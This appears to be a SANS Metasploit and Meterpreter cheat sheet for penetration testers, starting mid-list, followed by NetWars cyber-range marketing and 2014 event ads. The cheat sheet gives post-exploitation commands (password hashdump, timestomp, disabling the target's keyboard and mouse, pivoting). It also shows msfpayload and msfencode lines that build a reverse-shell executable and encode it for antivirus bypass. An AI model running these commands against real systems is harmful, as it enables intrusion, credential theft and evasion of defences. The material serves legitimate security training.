`sysinfo`: Show the system name and OS type  
`shutdown / reboot`: Self-explanatory

**File System Commands:**

`cd`: Change directory  
`lcd`: Change directory on local (attacker’s) machine  
`pwd / getwd`: Display current working directory  
`ls`: Show the contents of the directory  
`cat`: Display the contents of a file on screen  
`download / upload`: Move files to/from the target machine  
`mkdir / rmdir`: Make/remove directory  
`edit`: Open a file in the default editor (typically vi)

**Process Commands:**

`getpid`: Display the process ID that Meterpreter is running inside  
`getuid`: Display the user ID that Meterpreter is running with  
`ps`: Display process list  
`kill`: Terminate a process given its process ID  
`execute`: Run a given program with the privileges of the process the Meterpreter is loaded in  
`migrate`: Jump to a given destination process ID

- Target process must have same or lesser privileges
- Target process may be a more stable process
- When inside a process, can access any files that process has a lock on

**Network Commands:**

`ipconfig`: Show network interface information  
`portfwd`: Forward packets through TCP session  
`route`: Manage/view the system’s routing table

**Misc Commands:**

`idletime`: Display the duration that the GUI of the target machine has been idle  
`uictl [enable/disable] [keyboard/mouse]`: Enable/disable either the mouse or keyboard of the target machine  
`screenshot`: Save as an image a screenshot of the target machine

**Additional Modules:**

`use [module]`: Load the specified module

Example:

`use priv`: Load the priv module  
`hashdump`: Dump the hashes from the box  
`timestomp`: Alter NTFS file timestamps
Metasploit Cheat Sheet

Managing Sessions

**Multiple Exploitation:**
Run the exploit expecting a single session that is immediately backgrounded:

```
msf > exploit -z
```

Run the exploit in the background expecting one or more sessions that are immediately backgrounded:

```
msf > exploit -j
```

List all current jobs (usually exploit listeners):

```
msf > jobs -l
```

Kill a job:

```
msf > jobs -k [JobID]
```

**Multiple Sessions:**
List all backgrounded sessions:

```
msf > sessions -l
```

Interact with a backgrounded sessions:

```
msf > session -i [SessionID]
```

Background the current interactive session:

```
meterpreter > <Ctrl+Z>
```
or

```
meterpreter > background
```

**Routing Through Sessions:**
All modules (exploits/post/aux) against the target subnet mask will be pivoted through this session.

```
msf > route add [Subnet to Route To] [Subnet Netmask] [SessionID]
```

msfpayload

The msfpayload tool can be used to generate Metasploit payloads (such as Meterpreter) as standalone files. Run by itself gives a list of payloads.

```
$ msfpayload [ExploitPath] LHOST=[LocalHost (if reverse conn.)] LPORT=[LocalPort] [ExportType]
```

**Example**
Reverse Meterpreter payload as an executable and redirected into a file:

```
$ msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 X > met.exe
```

**Export Types**

- **S** – Print out a summary of the specified options
- **X** – Executable
- **P** – Perl
- **Y** – Ruby
- **R** – Raw shellcode
- **C** – C code

**Encoding Payloads with msfencode**
The msfencode tool can be used to apply a level of encoding for anti-virus bypass. Run with ‘-l’ gives a list of encoders.

```
$ msfencode -e [Encoder] -t [OutputType (exe, perl, ruby, raw, c)] -c [EncodeCount] -o [OutputFilename]
```

**Example**
Encode a payload from msfpayload 5 times using shikata-ga-nai encoder and output as executable:

```
$ msfpayload [...R] R | msfencode -c 5 -e x86/shikata_ga_nai -t exe -o mal.exe
```

**Meterpreter Post Modules**

With an available Meterpreter session, post modules can be run on the target machine.

**Post Modules from Meterpreter**

```
meterpreter > run post/multi/gather/env
```

**Post Modules on a Backgrounded Session**

```
msf > use post/windows/gather/hashdump
msf > show options
msf > set SESSION 1
msf > run
```

Additional Cheat Sheets are available for download at pen-testing.sans.org/resources/downloads
NetWars Comes in Four Forms

**TOURNAMENT | CONTINUOUS | CYBERCITY | COURSE**

Core NetWars is designed to help participants develop skills in several critical areas:

- Vulnerability Assessments
- System Hardening
- Malware Analysis
- Digital Forensics
- Incident Response
- Packet Analysis
- Penetration Testing
- Intrusion Detection

**NetWars Tournament** runs over an intense two- to three-day period, at a conference or hosted onsite. Many enterprises, government agencies, and military organizations rely on NetWars Tournament OnSite training to help identify skilled personnel and as part of extensive hands-on skill development.

**NetWars Continuous** allows participants to build their skills on their own time over a four-month period working from their office or home across the Internet. With a whole set of new challenges beyond those included in NetWars Tournament, participants can build their skills and experiment with new techniques in this Internet-accessible cyber range. Also, NetWars Continuous supports a unique Automated Hint System that turns dead ends into learning opportunities.

**NetWars CyberCity**, our most in-depth and ambitious offering, is designed to teach warriors and infosec pros that cyber action can have significant kinetic impact in the real world. With its 1:87 scale miniaturized physical city that features SCADA-controlled electrical power, water, transit, hospital, bank, retail, and residential infrastructures, CyberCity engages cyber defenders to protect the city’s components.

The **NetWars Courses: SEC561 & SEC562** are each 6 days of hands-on intensive learning, featuring 80% lab and exercise time and 20% debriefings to keep the lessons focused on practical keyboard technical skills. SANS ‘top-gun’ instructors provide a guided mission through SANS NetWars, working with participants to make sure the lessons of NetWars are hammered home. These offerings are truly designed to quickly enhance an individual’s skills across a wide variety of different information security disciplines.

**NetWars – FAQ**

**I am new to the industry. Will I be overwhelmed by NetWars?**

We designed NetWars so that entry-level players can hone their skills. The environment includes five levels that progressively increase in difficulty. No matter your skill level, anyone can jump right in and begin answering questions at Level 1.

**I am a seasoned InfoSec pro. Will this challenge me?**

We designed NetWars so grand masters of InfoSec can quickly advance through earlier levels and find more complex scenarios and target infrastructures to analyze and attack. The in-depth challenges of Levels 3 and beyond will let you demonstrate your awesome abilities and even challenge you to take your skills to the next level.

**What if I get stumped? What if I crash and burn?**

Getting stumped is no big deal. If NetWars was only about solving easy challenges, it wouldn’t be very valuable. When you reach a problem you can’t solve, NetWars becomes a learning environment for you to pick up new techniques and get exposed to new tools in an environment optimally set up for you to do so.

**This is all offensive stuff, right? I’m a defender...**

Not at all. NetWars consists of both offensive and defensive challenges in a wide variety of information security disciplines, including system hardening, packet analysis, digital forensics, malware analysis, vulnerability assessment, and penetration testing. Also, the best way to hone your skills as a defender is to understand the attacker; so everyone (both defense specialists and offensive-minded people) can benefit from NetWars.

For more FAQ – please visit sans.org/netwars-faq

<table>
<thead>
<tr>
<th>Use Case</th>
<th>NetWars Core</th>
<th>NetWars DFIR</th>
<th>NetWars CyberCity</th>
</tr>
</thead>
<tbody>
<tr>
<td>Event Tournament (1-3 days)</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Course (5 or 6-day)</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Continuous (4 months — remote)</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>OnSite Cyber Defense Exercise (1-3 days)</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Annual License (Hosted at SANS)</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Annual License w/ Custom Scenarios (Hosted by Client)</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>
**SANS NetWars** is a suite of hands-on, interactive learning scenarios that enable information security professionals to develop and master the real-world, in-depth skills they need to excel in their field. In SANS award-winning courses, attendees consistently rate our hands-on exercises as the most valuable part of the course. With NetWars, we have really raised the ante, as participants learn in a cyber range while working through various challenge levels, all hands-on, with a focus on mastering the skills information security professionals can use in their jobs every day.

**SANS NetWars offerings:**

- Consist of interactive, Internet-based environments for developing computer defense, analysis, and attack capabilities
- Are designed to be accessible to a broad level of participant skill ranges, from people just starting out in information security all the way up through seasoned professionals looking to keep their skills fresh
- Are split into separate levels so participants may quickly advance through earlier levels and rise to the level of their expertise where they can develop their skills further
- Provide detailed feedback through an overall scoreboard comparing participants’ achievements, as well as a personalized scorecard, showing technical skills mastered as well as areas for improvement

NetWars is designed to help participants develop skills in several critical arenas:

- Penetration Testing
- Digital Forensics
- System Hardening
- Packet Analysis

“An excellent hands-on approach for all levels.”
- Jarrod Frates, ACS, Inc.

“NetWars challenges you to add creativity to your arsenal of technical skills.”
- Ben Allen, University of Minnesota

Each NetWars offering involves five levels:

- **Level 1** - Participants rely on a local image without super-user privileges
- **Level 2** - Participants rely on a local image with super-user privileges
- **Level 3** - Participants access a DMZ for detailed vulnerability assessment, forensics analysis, and penetration testing
- **Level 4** - Participants pivot to an intranet for even deeper forensics analysis and penetration testing
- **Level 5** - Master of your domain: castle versus castle, where participants defend their castle from other Level 5 participants, while attempting to conquer other castles

Join us at an upcoming SANS training event where NetWars is running – FREE when you register for a 5-6 day course!
Pen Test Hackfest 2014

Washington DC  |  Nov 13-20

• NetWars, NetWars, NetWars – 3 nights!
• Hands-on CyberCity missions one night
• Coin-a-palooza!
  Win up to 4 pen test coins you may have missed

ONE SUPER-SECRET MIND-BLOWING SPECIAL EVENING – You won’t wanna miss this!

Available Courses:
SEC542  |  SEC560  |  SEC561  |  SEC673  |  SEC642

sans.org/event/sans-pen-test-hackfest-2014

COMING SOON!
Pen Testing-Themed Event
Coming to Austin!
May 2015

COMING SOON!
Pen Testing-Themed Event
Coming to Austin!
May 2015